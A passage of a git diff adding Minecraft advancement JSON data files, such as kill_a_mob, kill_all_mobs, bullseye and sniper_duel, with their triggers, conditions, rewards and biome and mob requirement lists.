"minecraft:birch_forest": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:birch_forest" + } + } + }, + "minecraft:mushroom_fields": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:mushroom_fields" + } + } + }, + "minecraft:wooded_mountains": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:wooded_mountains" + } + } + }, + "minecraft:warm_ocean": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:warm_ocean" + } + } + }, + "minecraft:lukewarm_ocean": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:lukewarm_ocean" + } + } + }, + "minecraft:cold_ocean": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:cold_ocean" + } + } + }, + "minecraft:deep_lukewarm_ocean": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:deep_lukewarm_ocean" + } + } + }, + "minecraft:deep_cold_ocean": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:deep_cold_ocean" + } + } + }, + "minecraft:deep_frozen_ocean": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:deep_frozen_ocean" + } + } + }, + "minecraft:bamboo_jungle": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:bamboo_jungle" + } + } + }, + "minecraft:bamboo_jungle_hills": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "biome": "minecraft:bamboo_jungle_hills" + } + } + } + }, + "requirements": [ + [ + "minecraft:birch_forest_hills" + ], + [ + "minecraft:river" + ], + [ + "minecraft:swamp" + ], + [ + "minecraft:desert" + ], + [ + "minecraft:wooded_hills" + ], + [ + "minecraft:giant_tree_taiga_hills" + ], + [ + "minecraft:snowy_taiga" + ], + [ + "minecraft:badlands" + ], + [ + "minecraft:forest" + ], + [ + "minecraft:stone_shore" + ], + [ + "minecraft:snowy_tundra" + ], + [ + "minecraft:taiga_hills" + ], + [ + "minecraft:snowy_mountains" + ], + [ + "minecraft:wooded_badlands_plateau" + ], + [ + "minecraft:savanna" + ], + [ + "minecraft:plains" + ], + [ + "minecraft:frozen_river" + ], + [ + "minecraft:giant_tree_taiga" + ], + [ + "minecraft:snowy_beach" + ], + [ + "minecraft:jungle_hills" + ], + [ + "minecraft:jungle_edge" + ], + [ + "minecraft:mushroom_field_shore" + ], + [ + "minecraft:mountains" + ], + [ + "minecraft:desert_hills" + ], + [ + "minecraft:jungle" + ], + [ + "minecraft:beach" + ], + [ + "minecraft:savanna_plateau" + ], + [ + "minecraft:snowy_taiga_hills" + ], + [ + "minecraft:badlands_plateau" + ], + [ + "minecraft:dark_forest" + ], + [ + "minecraft:taiga" + ], + [ + "minecraft:birch_forest" + ], + [ + "minecraft:mushroom_fields" + ], + [ + "minecraft:wooded_mountains" + ], + [ + "minecraft:warm_ocean" + ], + [ + "minecraft:lukewarm_ocean" + ], + [ + "minecraft:cold_ocean" + ], + [ + "minecraft:deep_lukewarm_ocean" + ], + [ + "minecraft:deep_cold_ocean" + ], + [ + "minecraft:deep_frozen_ocean" + ], + [ + "minecraft:bamboo_jungle" + ], + [ + "minecraft:bamboo_jungle_hills" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/arbalistic.json b/src/data/minecraft/advancements/adventure/arbalistic.json new file mode 100644 index 00000000..05c4fbc3 --- /dev/null +++ b/src/data/minecraft/advancements/adventure/arbalistic.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:adventure/ol_betsy", + "display": { + "icon": { + "item": "minecraft:crossbow", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.adventure.arbalistic.title" + }, + "description": { + "translate": "advancements.adventure.arbalistic.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": true + }, + "rewards": { + "experience": 85 + }, + "criteria": { + "arbalistic": { + "trigger": "minecraft:killed_by_crossbow", + "conditions": { + "unique_entity_types": 5 + } + } + }, + "requirements": [ + [ + "arbalistic" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/bullseye.json b/src/data/minecraft/advancements/adventure/bullseye.json new file mode 100644 index 00000000..8a7b40eb --- /dev/null +++ b/src/data/minecraft/advancements/adventure/bullseye.json @@ -0,0 +1,47 @@ +{ + "parent": "minecraft:adventure/shoot_arrow", + "display": { + "icon": { + "item": "minecraft:target" + }, + "title": { + "translate": "advancements.adventure.bullseye.title" + }, + "description": { + "translate": "advancements.adventure.bullseye.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 50 + }, + "criteria": { + "bullseye": { + "trigger": "minecraft:target_hit", + "conditions": { + "signal_strength": 15, + "projectile": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "distance": { + "horizontal": { + "min": 30.0 + } + } + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "bullseye" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/hero_of_the_village.json b/src/data/minecraft/advancements/adventure/hero_of_the_village.json new file mode 100644 index 00000000..75a8bd93 --- /dev/null +++ b/src/data/minecraft/advancements/adventure/hero_of_the_village.json @@ -0,0 +1,33 @@ +{ + "parent": "minecraft:adventure/voluntary_exile", + "display": { + "icon": { + "item": "minecraft:white_banner", + "nbt": "{BlockEntityTag:{Patterns:[{Color:9,Pattern:\"mr\"},{Color:8,Pattern:\"bs\"},{Color:7,Pattern:\"cs\"},{Color:8,Pattern:\"bo\"},{Color:15,Pattern:\"ms\"},{Color:8,Pattern:\"hh\"},{Color:8,Pattern:\"mc\"},{Color:15,Pattern:\"bo\"}]},HideFlags:32,display:{Name:\u0027{\"color\":\"gold\",\"translate\":\"block.minecraft.ominous_banner\"}\u0027}}" + }, + "title": { + "translate": "advancements.adventure.hero_of_the_village.title" + }, + "description": { + "translate": "advancements.adventure.hero_of_the_village.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": true + }, + "rewards": { + "experience": 100 + }, + "criteria": { + "hero_of_the_village": { + "trigger": "minecraft:hero_of_the_village", + "conditions": {} + } + }, + "requirements": [ + [ + "hero_of_the_village" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/honey_block_slide.json b/src/data/minecraft/advancements/adventure/honey_block_slide.json new file mode 100644 index 00000000..d56665ed --- /dev/null +++ b/src/data/minecraft/advancements/adventure/honey_block_slide.json @@ -0,0 +1,31 @@ +{ + "parent": "minecraft:adventure/root", + "display": { + "icon": { + "item": "minecraft:honey_block" + }, + "title": { + "translate": "advancements.adventure.honey_block_slide.title" + }, + "description": { + "translate": "advancements.adventure.honey_block_slide.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "honey_block_slide": { + "trigger": "minecraft:slide_down_block", + "conditions": { + "block": "minecraft:honey_block" + } + } + }, + "requirements": [ + [ + "honey_block_slide" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/kill_a_mob.json b/src/data/minecraft/advancements/adventure/kill_a_mob.json new file mode 100644 index 00000000..cdef9b1f --- /dev/null +++ b/src/data/minecraft/advancements/adventure/kill_a_mob.json @@ -0,0 +1,535 @@ +{ + "parent": "minecraft:adventure/root", + "display": { + "icon": { + "item": "minecraft:iron_sword", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.adventure.kill_a_mob.title" + }, + "description": { + "translate": "advancements.adventure.kill_a_mob.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "minecraft:blaze": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:blaze" + }, + "entity": "this" + } + ] + } + }, + "minecraft:cave_spider": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:cave_spider" + }, + "entity": "this" + } + ] + } + }, + "minecraft:creeper": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:creeper" + }, + "entity": "this" + } + ] + } + }, + "minecraft:drowned": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:drowned" + }, + "entity": "this" + } + ] + } + }, + "minecraft:elder_guardian": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:elder_guardian" + }, + "entity": "this" + } + ] + } + }, + "minecraft:ender_dragon": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ender_dragon" + }, + "entity": "this" + } + ] + } + }, + "minecraft:enderman": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:enderman" + }, + "entity": "this" + } + ] + } + }, + "minecraft:endermite": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:endermite" + }, + "entity": "this" + } + ] + } + }, + "minecraft:evoker": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:evoker" + }, + "entity": "this" + } + ] + } + }, + "minecraft:ghast": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ghast" + }, + "entity": "this" + } + ] + } + }, + "minecraft:guardian": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:guardian" + }, + "entity": "this" + } + ] + } + }, + "minecraft:hoglin": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:hoglin" + }, + "entity": "this" + } + ] + } + }, + "minecraft:husk": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:husk" + }, + "entity": "this" + } + ] + } + }, + "minecraft:magma_cube": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:magma_cube" + }, + "entity": "this" + } + ] + } + }, + "minecraft:phantom": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:phantom" + }, + "entity": "this" + } + ] + } + }, + "minecraft:piglin": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:piglin" + }, + "entity": "this" + } + ] + } + }, + "minecraft:piglin_brute": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:piglin_brute" + }, + "entity": "this" + } + ] + } + }, + "minecraft:pillager": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:pillager" + }, + "entity": "this" + } + ] + } + }, + "minecraft:ravager": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ravager" + }, + "entity": "this" + } + ] + } + }, + "minecraft:shulker": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:shulker" + }, + "entity": "this" + } + ] + } + }, + "minecraft:silverfish": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:silverfish" + }, + "entity": "this" + } + ] + } + }, + "minecraft:skeleton": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:skeleton" + }, + "entity": "this" + } + ] + } + }, + "minecraft:slime": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:slime" + }, + "entity": "this" + } + ] + } + }, + "minecraft:spider": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:spider" + }, + "entity": "this" + } + ] + } + }, + "minecraft:stray": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:stray" + }, + "entity": "this" + } + ] + } + }, + "minecraft:vex": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:vex" + }, + "entity": "this" + } + ] + } + }, + "minecraft:vindicator": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:vindicator" + }, + "entity": "this" + } + ] + } + }, + "minecraft:witch": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:witch" + }, + "entity": "this" + } + ] + } + }, + "minecraft:wither_skeleton": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:wither_skeleton" + }, + "entity": "this" + } + ] + } + }, + "minecraft:wither": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:wither" + }, + "entity": "this" + } + ] + } + }, + "minecraft:zoglin": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:zoglin" + }, + "entity": "this" + } + ] + } + }, + "minecraft:zombie_villager": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:zombie_villager" + }, + "entity": "this" + } + ] + } + }, + "minecraft:zombie": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:zombie" + }, + "entity": "this" + } + ] + } + }, + "minecraft:zombified_piglin": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:zombified_piglin" + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "minecraft:blaze", + "minecraft:cave_spider", + "minecraft:creeper", + "minecraft:drowned", + "minecraft:elder_guardian", + "minecraft:ender_dragon", + "minecraft:enderman", + "minecraft:endermite", + "minecraft:evoker", + "minecraft:ghast", + "minecraft:guardian", + "minecraft:hoglin", + "minecraft:husk", + "minecraft:magma_cube", + "minecraft:phantom", + "minecraft:piglin", + "minecraft:piglin_brute", + "minecraft:pillager", + "minecraft:ravager", + "minecraft:shulker", + "minecraft:silverfish", + "minecraft:skeleton", + "minecraft:slime", + "minecraft:spider", + "minecraft:stray", + "minecraft:vex", + "minecraft:vindicator", + "minecraft:witch", + "minecraft:wither_skeleton", + "minecraft:wither", + "minecraft:zoglin", + "minecraft:zombie_villager", + "minecraft:zombie", + "minecraft:zombified_piglin" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/kill_all_mobs.json b/src/data/minecraft/advancements/adventure/kill_all_mobs.json new file mode 100644 index 00000000..7089f54a --- /dev/null +++ b/src/data/minecraft/advancements/adventure/kill_all_mobs.json @@ -0,0 +1,604 @@ +{ + "parent": "minecraft:adventure/kill_a_mob", + "display": { + "icon": { + "item": "minecraft:diamond_sword", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.adventure.kill_all_mobs.title" + }, + "description": { + "translate": "advancements.adventure.kill_all_mobs.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 100 + }, + "criteria": { + "minecraft:blaze": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:blaze" + }, + "entity": "this" + } + ] + } + }, + "minecraft:cave_spider": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:cave_spider" + }, + "entity": "this" + } + ] + } + }, + "minecraft:creeper": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:creeper" + }, + "entity": "this" + } + ] + } + }, + "minecraft:drowned": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:drowned" + }, + "entity": "this" + } + ] + } + }, + "minecraft:elder_guardian": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:elder_guardian" + }, + "entity": "this" + } + ] + } + }, + "minecraft:ender_dragon": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ender_dragon" + }, + "entity": "this" + } + ] + } + }, + "minecraft:enderman": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:enderman" + }, + "entity": "this" + } + ] + } + }, + "minecraft:endermite": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:endermite" + }, + "entity": "this" + } + ] + } + }, + "minecraft:evoker": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:evoker" + }, + "entity": "this" + } + ] + } + }, + "minecraft:ghast": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ghast" + }, + "entity": "this" + } + ] + } + }, + "minecraft:guardian": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:guardian" + }, + "entity": "this" + } + ] + } + }, + "minecraft:hoglin": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:hoglin" + }, + "entity": "this" + } + ] + } + }, + "minecraft:husk": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:husk" + }, + "entity": "this" + } + ] + } + }, + "minecraft:magma_cube": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:magma_cube" + }, + "entity": "this" + } + ] + } + }, + "minecraft:phantom": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:phantom" + }, + "entity": "this" + } + ] + } + }, + "minecraft:piglin": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:piglin" + }, + "entity": "this" + } + ] + } + }, + "minecraft:piglin_brute": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:piglin_brute" + }, + "entity": "this" + } + ] + } + }, + "minecraft:pillager": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:pillager" + }, + "entity": "this" + } + ] + } + }, + "minecraft:ravager": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ravager" + }, + "entity": "this" + } + ] + } + }, + "minecraft:shulker": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:shulker" + }, + "entity": "this" + } + ] + } + }, + "minecraft:silverfish": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:silverfish" + }, + "entity": "this" + } + ] + } + }, + "minecraft:skeleton": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:skeleton" + }, + "entity": "this" + } + ] + } + }, + "minecraft:slime": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:slime" + }, + "entity": "this" + } + ] + } + }, + "minecraft:spider": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:spider" + }, + "entity": "this" + } + ] + } + }, + "minecraft:stray": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:stray" + }, + "entity": "this" + } + ] + } + }, + "minecraft:vex": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:vex" + }, + "entity": "this" + } + ] + } + }, + "minecraft:vindicator": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:vindicator" + }, + "entity": "this" + } + ] + } + }, + "minecraft:witch": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:witch" + }, + "entity": "this" + } + ] + } + }, + "minecraft:wither_skeleton": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:wither_skeleton" + }, + "entity": "this" + } + ] + } + }, + "minecraft:wither": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:wither" + }, + "entity": "this" + } + ] + } + }, + "minecraft:zoglin": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:zoglin" + }, + "entity": "this" + } + ] + } + }, + "minecraft:zombie_villager": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:zombie_villager" + }, + "entity": "this" + } + ] + } + }, + "minecraft:zombie": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:zombie" + }, + "entity": "this" + } + ] + } + }, + "minecraft:zombified_piglin": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:zombified_piglin" + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "minecraft:blaze" + ], + [ + "minecraft:cave_spider" + ], + [ + "minecraft:creeper" + ], + [ + "minecraft:drowned" + ], + [ + "minecraft:elder_guardian" + ], + [ + "minecraft:ender_dragon" + ], + [ + "minecraft:enderman" + ], + [ + "minecraft:endermite" + ], + [ + "minecraft:evoker" + ], + [ + "minecraft:ghast" + ], + [ + "minecraft:guardian" + ], + [ + "minecraft:hoglin" + ], + [ + "minecraft:husk" + ], + [ + "minecraft:magma_cube" + ], + [ + "minecraft:phantom" + ], + [ + "minecraft:piglin" + ], + [ + "minecraft:piglin_brute" + ], + [ + "minecraft:pillager" + ], + [ + "minecraft:ravager" + ], + [ + "minecraft:shulker" + ], + [ + "minecraft:silverfish" + ], + [ + "minecraft:skeleton" + ], + [ + "minecraft:slime" + ], + [ + "minecraft:spider" + ], + [ + "minecraft:stray" + ], + [ + "minecraft:vex" + ], + [ + "minecraft:vindicator" + ], + [ + "minecraft:witch" + ], + [ + "minecraft:wither_skeleton" + ], + [ + "minecraft:wither" + ], + [ + "minecraft:zoglin" + ], + [ + "minecraft:zombie_villager" + ], + [ + "minecraft:zombie" + ], + [ + "minecraft:zombified_piglin" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/ol_betsy.json b/src/data/minecraft/advancements/adventure/ol_betsy.json new file mode 100644 index 00000000..f0ae4ec7 --- /dev/null +++ b/src/data/minecraft/advancements/adventure/ol_betsy.json @@ -0,0 +1,34 @@ +{ + "parent": "minecraft:adventure/root", + "display": { + "icon": { + "item": "minecraft:crossbow", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.adventure.ol_betsy.title" + }, + "description": { + "translate": "advancements.adventure.ol_betsy.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "shot_crossbow": { + "trigger": "minecraft:shot_crossbow", + "conditions": { + "item": { + "item": "minecraft:crossbow" + } + } + } + }, + "requirements": [ + [ + "shot_crossbow" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/root.json b/src/data/minecraft/advancements/adventure/root.json new file mode 100644 index 00000000..d0f2178b --- /dev/null +++ b/src/data/minecraft/advancements/adventure/root.json @@ -0,0 +1,34 @@ +{ + "display": { + "icon": { + "item": "minecraft:map" + }, + "title": { + "translate": "advancements.adventure.root.title" + }, + "description": { + "translate": "advancements.adventure.root.description" + }, + "frame": "task", + "show_toast": false, + "announce_to_chat": false, + "hidden": false, + "background": "minecraft:textures/gui/advancements/backgrounds/adventure.png" + }, + "criteria": { + "killed_something": { + "trigger": "minecraft:player_killed_entity", + "conditions": {} + }, + "killed_by_something": { + "trigger": "minecraft:entity_killed_player", + "conditions": {} + } + }, + "requirements": [ + [ + "killed_something", + "killed_by_something" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/shoot_arrow.json b/src/data/minecraft/advancements/adventure/shoot_arrow.json new file mode 100644 index 00000000..65210cb3 --- /dev/null +++ b/src/data/minecraft/advancements/adventure/shoot_arrow.json @@ -0,0 +1,39 @@ +{ + "parent": "minecraft:adventure/kill_a_mob", + "display": { + "icon": { + "item": "minecraft:bow", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.adventure.shoot_arrow.title" + }, + "description": { + "translate": "advancements.adventure.shoot_arrow.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "shot_arrow": { + "trigger": "minecraft:player_hurt_entity", + "conditions": { + "damage": { + "type": { + "is_projectile": true, + "direct_entity": { + "type": "#minecraft:arrows" + } + } + } + } + } + }, + "requirements": [ + [ + "shot_arrow" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/sleep_in_bed.json b/src/data/minecraft/advancements/adventure/sleep_in_bed.json new file mode 100644 index 00000000..c05651b1 --- /dev/null +++ b/src/data/minecraft/advancements/adventure/sleep_in_bed.json @@ -0,0 +1,29 @@ +{ + "parent": "minecraft:adventure/root", + "display": { + "icon": { + "item": "minecraft:red_bed" + }, + "title": { + "translate": "advancements.adventure.sleep_in_bed.title" + }, + "description": { + "translate": "advancements.adventure.sleep_in_bed.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "slept_in_bed": { + "trigger": "minecraft:slept_in_bed", + "conditions": {} + } + }, + "requirements": [ + [ + "slept_in_bed" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/sniper_duel.json b/src/data/minecraft/advancements/adventure/sniper_duel.json new file mode 100644 index 00000000..76ffc739 --- /dev/null +++ b/src/data/minecraft/advancements/adventure/sniper_duel.json @@ -0,0 +1,50 @@ +{ + "parent": "minecraft:adventure/shoot_arrow", + "display": { + "icon": { + "item": "minecraft:arrow" + }, + "title": { + "translate": "advancements.adventure.sniper_duel.title" + }, + "description": { + "translate": "advancements.adventure.sniper_duel.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 50 + }, + "criteria": { + "killed_skeleton": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:skeleton", + "distance": { + "horizontal": { + "min": 50.0 + } + } + }, + "entity": "this" + } + ], + "killing_blow": { + "is_projectile": true + } + } + } + }, + "requirements": [ + [ + "killed_skeleton" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/summon_iron_golem.json b/src/data/minecraft/advancements/adventure/summon_iron_golem.json new file mode 100644 index 00000000..31faca76 --- /dev/null +++ b/src/data/minecraft/advancements/adventure/summon_iron_golem.json @@ -0,0 +1,39 @@ +{ + "parent": "minecraft:adventure/trade", + "display": { + "icon": { + "item": "minecraft:carved_pumpkin" + }, + "title": { + "translate": "advancements.adventure.summon_iron_golem.title" + }, + "description": { + 